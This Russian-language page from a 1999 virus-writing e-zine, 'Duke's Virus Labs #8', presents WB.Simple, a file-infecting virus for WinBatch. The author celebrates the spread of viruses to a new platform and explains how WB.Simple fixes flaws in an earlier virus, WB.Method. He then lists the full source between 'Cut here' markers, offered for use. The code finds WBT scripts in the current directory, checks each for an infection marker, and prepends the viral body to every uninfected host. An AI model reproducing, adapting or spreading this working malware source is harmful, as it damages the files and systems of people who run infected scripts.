- [Duke's Virus Labs #8] - [Page 19] - WB.Simple (c) by Duke/SMF Имя вируса : WB.Simple Автор : Duke/SMF Язык прогр. : Windows Interface Language (WinBatch) Платформа : Windows OS + WinBatch application Дата создания : 28.07.99 Новое приложение Windows пало жертвой компьютерных вирусов ! Нам остается только отпраздновать эту победу. Первооткрываетелем оказался некто Runner, который в июле 1999 написал вирус WB.Method. Но, как известно, группа SMF всегда впереди ;-)) , и в кратчайшие сроки я освоил премудрости языка Windows Interface Language и уже стал писать вирусы на нем. Недостатки вируса WB.Method : - нет контроля на зараженность поражаемого файла; - оверврайт, тем самым себя выдает да и уровень низкий; - интендед - не копирует метку конца вируса в пораженные файлы, и вирус вываливается с ошибкой, не найдя метку, при запуске такого пораженого файла. Все эти недостатки я исправил в вирусе WB.Simple. Вирус паразитический и поражает WBT-файлы текущего каталога, записываясь в начало. Алгоритм простой : - так же как и в CorelDraw Script, в языке WIL не предусмотрено прямое обращение к имени файла. Поэтому необходимо перебрать все WBT-файлы текущего каталога, найти в одном из них метку вируса и считать этот файл изначально запущенным ;-) - если такой файл не найден (мало ли что - метку стерли, например), делаем принудительный выход; - опять перебор файлов - на этот раз будем поражать ! По той же метке ";WB.Simple" проверяем на пораженность. Метки нет - можно поражать ; - копируем жертву в C:\TEMP.WBT, построчно переносим на место жертвы тело вируса, затем записываем в массив жертву и записываем ее после тела вируса. Копию жертвы удаляем. ===== Cut here ===== ;WB.Simple ;(c) by Duke/SMF IntControl(29, @tab, 0, 0, 0) ErrorMode(@OFF) Viral = "" AllWBT = FileItemize("*.wbt") For i = 1 to ItemCount(AllWBT, @tab) OneWBT = ItemExtract(i, AllWBT, @tab) Size=FileSize(OneWBT) MarkBuffer = BinaryAlloc(Size+100) BinaryRead(MarkBuffer, OneWBT) If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then Viral = OneWBT Break End If Next i If Viral != OneWBT Then EXIT For w = 1 To ItemCount(AllWBT, @tab) OneWBT = ItemExtract(w, AllWBT, @tab) Size=FileSize(OneWBT) MarkBuffer = BinaryAlloc(Size+100) BinaryRead(MarkBuffer, OneWBT) If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then Goto Infected FileCopy(OneWBT,"C:\TEMP.WBT",0) virus = FileOpen(Viral, "READ") host = FileOpen(OneWBT, "WRITE") While @TRUE x = FileRead(virus) FileWrite(host, x) If x == "EXIT ;SIMPLE" Then Break EndWhile FileClose(virus) FileClose(host) temp = FileOpen("C:\TEMP.WBT", "READ") Size=FileSize("C:\TEMP.WBT") MarkBuffer = BinaryAlloc(FileSize("C:\TEMP.WBT")+100) BinaryRead(MarkBuffer, "C:\TEMP.WBT") BinaryWriteEx(MarkBuffer, 0, OneWBT, 1258, Size) FileDelete(temp) :Infected Next w EXIT ;SIMPLE ===== Cut here =====